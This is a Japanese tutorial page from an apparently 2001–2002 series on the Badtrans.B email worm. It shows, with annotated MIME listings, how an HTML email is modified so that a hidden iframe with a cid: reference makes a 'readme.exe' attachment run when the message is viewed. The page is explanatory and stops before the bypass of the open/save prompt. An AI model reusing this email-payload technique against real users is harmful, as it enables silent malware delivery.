TOPに戻る
▼Network
Badtrans.Bウィルスとは?
┣ HTMLメールと
┃ MIMEヘッダ
┣ 5つのパート
┣ HTMLメールを改造する
┗ IEのバグ
Copyright(C) 2001-2002.ugpop. All rights reserved.
■ HTMLメールを改造する ■
前回、前々回ではHTMLメールにファイルを添付して送信した時
のメールの内容について、5つのパートに分かれる事を説明し、
パート1からパート5まで一通り説明しました。
今回はこのHTMLメールの添付ファイルが、脆弱性が存在する環
境上で自動的に実行される様に改造していく作業を行います。
その前に、まずは各パート毎の説明を簡単に復習しましょう。
パート1
┌────────────────────────────┐
│Content-Type: multipart/mixed;←●MIMEヘッダ │
│ boundary="----=_NextPart_000_000D_01C1ADAD.89FB9BC0" │
└────────────────────────────┘
パート1は「パート2とパート5は、複数の種類のContent-
Typeが混合(mix)していますよ。」という意味になります。
パート2
┌────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0 │
│Content-Type: multipart/alternative;←●MIMEヘッダ │
│ boundary="----=_NextPart_001_000E_01C1ADAD.89FB9BC0" │
└────────────────────────────┘
パート2は「メーラーで表示する時はパート3(テキスト平文)
とパート4(HTML文)のどちらか選択して表示してくださいね。」
という意味になります。
パート3
┌────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0 │
│Content-Type: text/plain; ←●MIMEヘッダ │
│ charset="iso-2022-jp" │
│Content-Transfer-Encoding: quoted-printable │
│ こんにちは │
└────────────────────────────┘
パート3は「このパートはテキスト平文ですよ。」という意味
になり、テキストで「こんにちは」と表示します。
パート4
┌───────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0 │
│Content-Type: text/html;←●MIMEヘッダ │
│ charset="iso-2022-jp" │
│Content-Transfer-Encoding: quoted-printable │
│ │
│<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">│
│<HTML><HEAD> │
│<META http-equiv=3DContent-Type content=3D"text/html; = │
│charset=3Diso-2022-jp"> │
│<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR> │
│<STYLE></STYLE> │
│</HEAD> │
│<BODY bgColor=3D#d8d0c8> │
│<DIV><FONT size=3D2>こんにちは</FONT></DIV></BODY></HTML> │
│ │
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0-- │
└───────────────────────────────┘
パート4は「このパートはHTML(Hyper Text Markup Language)
ですよ。」という意味になり、HTMLで「こんにちは」と表示し
ます。
パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0 │
│Content-Type: application/x-msdownload;←●MIMEヘッダ │
│ name="readme.exe" │
│Content-Transfer-Encoding: base64 │
│Content-Disposition: attachment; │
│ filename="readme.exe" │
│ │
│TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│
│AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW│
│ZGUuDQ0KJAAAAAAAAACTomL518MMqtfDDKrXwwyquNwHqtbDDKq43AaqzMMMql│
└───────────────────────────────┘
パート5は「マイクロソフトのアプリケーションですよ。」と
いう意味を表し、添付ファイルとして"readme.exe"というファ
イル名が指定されています。
簡単ですが以上で復習を終わります。
ではこれをどのように改造するか今から説明します。
まず、Badtrans.Bはインターネットエクスプローラに存在する
バグを利用します。
Outlook Expressは、パート4で説明した様なHTMLで構成され
たパートを見つけると、内部でインターネットエクスプローラ
を起動します。
そしてインターネットエクスプローラがHTML文を翻訳し、WEB
ページの様に表示してくれるのです。
Badtrans.Bウィルスはインターネットエクスプローラに存在す
るバグを利用するので、このウィルスにとってはテキストで構
成されたパートは不要です。ここでは不要な部分は削除してし
まいましょう。
テキスト平文で構成されたパートはパート3です。
このパート3はまるごと削除します。
次に、HTML文があるパートを改造します。
HTML文があるのはパート4です。
パート4
┌───────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0 │
│Content-Type: text/html;←●MIMEヘッダ │
│ charset="iso-2022-jp" │
│Content-Transfer-Encoding: quoted-printable │
│ │
│<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">│
│<HTML><HEAD> │
│<META http-equiv=3DContent-Type content=3D"text/html; = │
│charset=3Diso-2022-jp"> │
│<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR> │
│<STYLE></STYLE> │
│</HEAD> │
│<BODY bgColor=3D#d8d0c8> │
│<DIV><FONT size=3D2>こんにちは</FONT></DIV></BODY></HTML> │
│ │
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0-- │
└───────────────────────────────┘
このHTML文は単に「こんにちは」と字を表示するだけの物です。
このHTML文をプログラムファイルを実行するように書き換えま
す。
書き換えた物を以下に示します。
パート4
┌───────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0 │
│Content-Type: text/html;←●MIMEヘッダ │
│ charset="iso-2022-jp" │
│Content-Transfer-Encoding: quoted-printable │
│ │
│<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">│
│<HTML><HEAD> │
│<META http-equiv=3DContent-Type content=3D"text/html; = │
│charset=3Diso-2022-jp"> │
│<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR> │
│<STYLE></STYLE> │
│</HEAD> ●1行追加した │
│<BODY bgColor=3D#d8d0c8> ↓ │
│<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe> │
│<DIV><FONT size=3D2>こんにちは</FONT></DIV></BODY></HTML> │
│ │
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0-- │
└───────────────────────────────┘
どこの部分が追加されたかお分かりでしょうか?
「こんにちは」と書かれている行の1行上に「<iframe・・・」
という部分が追加されています。
以下にその行を示します。
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>
この「<iframe・・・」と書かれてある部分は、インターネッ
トエクスプローラのみで使用出来るHTML(Hyper Text Markup
Language)の命令の1つで、「別の場所からファイルを持って
来て表示しなさい」という命令です。
どのファイルを持ってくるの?という事になりますが、それは
「<iframe・・・」と同じ行にある「src=XXXXX」という部分で
指定してあげます。
「XXXXX」の部分には通常のWEBページの場合はURL(Uniformed
Resource Locator:例えばhttp://home.netyou.jp/gg/ugpop/
等の文字列)を指定するのですが、ここでは添付ファイルであ
る"readme.exe"を実行させる為にCID(Content-ID)という物を
指定してあげます。
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>
 ̄ ̄ ̄ ̄ ̄ ̄ ̄
↑
CID(Content-ID)
さて、ここまで変更したところで、HTML文で構成されたパート
と添付ファイルで構成されたパートは独立した物でなくなり、
関連性がある物となりました。
これをメーラーに指示する為に、パート1を次の様に書き換え
てあげます。
パート1
┌────────────────────────────┐
│Content-Type: multipart/related;←●書き換えた │
│ boundary="----=_NextPart_000_000D_01C1ADAD.89FB9BC0" │
└────────────────────────────┘
パート1は「パート2とパート5は、複数の種類のContent-
Typeが混合(mix)していますよ。」という意味でしたが、これ
を「related」(関連する)に書き換えました。
つまり、「パート2とパート5は、複数の種類のContent-Type
が関連(related)していますよ。」という意味になりました。
HTML文で構成されたパートから添付ファイルで構成されたパー
トを呼び出して実行するようにしたいので、「関連する」とい
う指示を出してあげたのです。
また、先ほどのCID(Content-ID)ですが、添付ファイルのパー
トであるパート5でも指定する必要があります。
まず変更する前の添付ファイルのパートを見てみましょう。
パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0 │
│Content-Type: application/x-msdownload;←●MIMEヘッダ │
│ name="readme.exe" │
│Content-Transfer-Encoding: base64 │
│Content-Disposition: attachment; │
│ filename="readme.exe" │
│ │
│TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│
│AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW│
│ZGUuDQ0KJAAAAAAAAACTomL518MMqtfDDKrXwwyquNwHqtbDDKq43AaqzMMMql│
└───────────────────────────────┘
この部分は先ほども見てもらいました。
「Content-Disposition: attachment〜filename="readme.exe"」
と書かれてある部分があります。
これは、「attachment」(添付)で、ファイル名は"readme.exe"
ですよ。という事を示しているのでした。
つまり、
「"readme.exe"という添付ファイルですよ。」
という意味です。
この部分を以下の様に書き換えます。
パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0 │
│Content-Type: application/x-msdownload;←●MIMEヘッダ │
│ name="readme.exe" │
│Content-Transfer-Encoding: base64 │
│Content-ID: <EA4DMGBP9p> ←────────●ここを書き換える│
│ │
│TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│
│AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW│
│ZGUuDQ0KJAAAAAAAAACTomL518MMqtfDDKrXwwyquNwHqtbDDKq43AaqzMMMql│
└───────────────────────────────┘
「"readme.exe"という添付ファイルですよ。」
という意味を表す部分が削除されて、代わりに先ほどHTML文で
指定したCID(Content-ID)が挿入されています。
インターネットエクスプローラは先ほどのHTML文を表示する時
に
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>
という部分を見つけると、「src=3Dcid:EA4DMGBP9p」で指定さ
れている部分を探します。
そして、その「src=3Dcid:EA4DMGBP9p」に対応するIDを発見す
ると、そこにあるデータを「表示」しようとするのです。
そして、この時インターネットエクスプローラが見る部分がも
う1箇所あります。
それは、「"readme.exe"という添付ファイルですよ。」を表し
ている部分のすぐ上にある、
Content-Type: application/x-msdownload;
となっている部分です。
「これはアプリケーションソフトですよ。」
という意味です。
この部分を見ると、インターネットエクスプローラは「"read-
me.exe"というファイルはアプリケーションソフトなのだな。」
と理解し、気を利かせて実行しようとしてしまいます。
しかし、ここでマイクロソフトは思いました。
「これってセキュリティ上良くないのではない?」
と思ったのです。
ここまで読んでお分かりいただいた方もいらっしゃるかもしれ
ませんが、これはセキュリティ上、非常に好ましくありません。
HTMLメールを表示した途端に添付ファイルのプログラムが実行
されてしまう事になるからです。
もし添付ファイルのプログラムがCドライブをフォーマットす
るプログラムだったらどうでしょう?
もし添付ファイルのプログラムがアドレス帳に登録されている
人達にメールをばらまくプログラムだったとしたらどうでしょ
う?
そんなプログラム、勝手に実行してほしくないですよね?
という事でマイクロソフトはセキュリティ確保の為、添付ファ
イルをどう処理したいかユーザーに問い合わせる機能を持たせ
ました。
皆さんの中にも、添付ファイルを開くか保存するか問い合わせ
る為のウィンドウを見た事がある方は多いはずです。
添付ファイルを開きたければ(実行したければ)、ユーザーは
そのファイルに対し、「開く」の指示を行なえば良いし、別の
場所に保存したければ「保存」の指示を行なえば良いのです。
また、何も処理したくなければそのウィンドウを閉じてメール
を削除する事も出来ます。
ここまではマイクロソフトの設計通りの動作です。
ところがBadtrans.Bウィルスは、このセキュリティ機能を突破
し、ユーザーに問い合わせる事なく、勝手に添付ファイルのプ
ログラムを実行してしまいます。
どのようにしてこのセキュリティ機能を突破するのでしょうか?
次回はBadtrans.Bウィルスがどのようにセキュリティ機能を突
破するのか説明します。